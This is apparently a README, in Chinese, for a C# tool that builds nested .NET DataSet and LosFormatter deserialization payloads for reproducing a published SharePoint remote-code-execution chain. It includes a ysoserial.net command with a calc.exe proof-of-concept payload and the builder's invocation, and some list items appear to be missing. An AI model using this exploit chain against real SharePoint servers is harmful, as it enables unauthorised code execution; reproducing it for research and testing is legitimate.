这是一个简单的 C# 工具,用于构建经过 GZip 压缩并 Base64 编码的 .NET DataSet 载荷,其中包含一个使用 LosFormatter 编码的内部载荷。它旨在帮助复现公开研究中描述的 SharePoint 反序列化 RCE 攻击链。
你提供一个 Base64 编码的载荷(例如来自 ysoserial.net 生成的载荷),该工具将:
.b64 文件首先,使用 ysoserial.net 生成你的载荷:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
然后运行此工具:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
这将生成:
另外,如果你不指定 --a、--b 或 --c,工具会自动生成随机的英文小写名称。
注意
本工具不会验证或检查你提供的载荷内容。
如果在本地测试并手动反序列化,它可能会执行(例如弹出计算器)。